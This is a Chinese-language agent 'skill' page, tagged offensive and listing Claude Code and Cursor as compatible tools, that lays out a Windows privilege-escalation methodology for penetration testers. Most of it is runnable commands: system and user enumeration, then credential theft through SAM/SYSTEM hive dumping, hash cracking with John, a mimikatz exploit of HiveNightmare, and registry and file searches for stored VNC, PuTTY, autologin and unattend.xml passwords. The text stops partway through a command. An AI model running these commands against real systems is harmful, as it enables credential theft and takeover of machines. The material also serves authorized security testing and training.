
关于
在渗透测试中发现和利用 Windows 系统权限提升漏洞的系统方法论。
name: windows-privilege-escalation description: "为渗透测试任务提供系统化的方法论,用于发现和利用 Windows 系统上的权限提升漏洞。" risk: offensive source: community author: zebbern date_added: "2026-02-27"
仅限授权使用:仅在授权的安全评估、防御验证或受控教育环境中使用此技能。
Windows 权限提升
目的
为渗透测试任务提供系统化的方法论,用于发现和利用 Windows 系统上的权限提升漏洞。此技能涵盖系统枚举、凭据收集、服务利用、令牌模拟、内核漏洞利用以及各种可实现从标准用户提升到管理员或 SYSTEM 权限的错误配置。
输入 / 前提条件
- 初始访问:以标准用户身份获得 Windows 系统的 Shell 或 RDP 访问权限
- 枚举工具:WinPEAS、PowerUp、Seatbelt 或手动命令
- 漏洞利用二进制文件:预编译的漏洞利用程序或传输工具的能力
- 知识储备:理解 Windows 安全模型和权限机制
- 授权:渗透测试活动的书面许可
输出 / 交付物
- 权限提升路径:已识别的提权向量
- 凭据转储:收集的密码、哈希值或令牌
- 提升后的 Shell:以管理员或 SYSTEM 身份执行命令
- 漏洞报告:错误配置和漏洞利用的文档记录
- 修复建议:针对已识别弱点的修复方案
核心工作流程
1. 系统枚举
基本系统信息
# OS version and patches
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe
# Architecture
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%
# Environment variables
set
Get-ChildItem Env: | ft Key,Value
# List drives
wmic logicaldisk get caption,description,providername
用户枚举
# Current user
whoami
echo %USERNAME%
# User privileges
whoami /priv
whoami /groups
whoami /all
# All users
net user
Get-LocalUser | ft Name,Enabled,LastLogon
# User details
net user administrator
net user %USERNAME%
# Local groups
net localgroup
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name,PrincipalSource
网络枚举
# Network interfaces
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
# Routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric
# ARP table
arp -A
# Active connections
netstat -ano
# Network shares
net share
# Domain Controllers
nltest /DCLIST:DomainName
防病毒软件枚举
# Check AV products
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
2. 凭据收集
SAM 和 SYSTEM 文件
# SAM file locations
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
# SYSTEM file locations
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
# Extract hashes (from Linux after obtaining files)
pwdump SYSTEM SAM > sam.txt
samdump2 SYSTEM SAM -o sam.txt
# Crack with John
john --format=NT sam.txt
HiveNightmare (CVE-2021-36934)
# Check vulnerability
icacls C:\Windows\System32\config\SAM
# Vulnerable if: BUILTIN\Users:(I)(RX)
# Exploit with mimikatz
mimikatz> token::whoami /full
mimikatz> misc::shadowcopies
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
搜索密码
# Search file contents
findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
# Search registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Windows Autologin credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
# PuTTY sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# VNC passwords
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
# Search for specific files
dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
where /R C:\ *.ini
Unattend.xml 凭据
# Common locations
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
# Search for files
dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul
# Decode base64 password (Linux)
echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" |
兼容工具
Claude CodeCursor
标签
安全
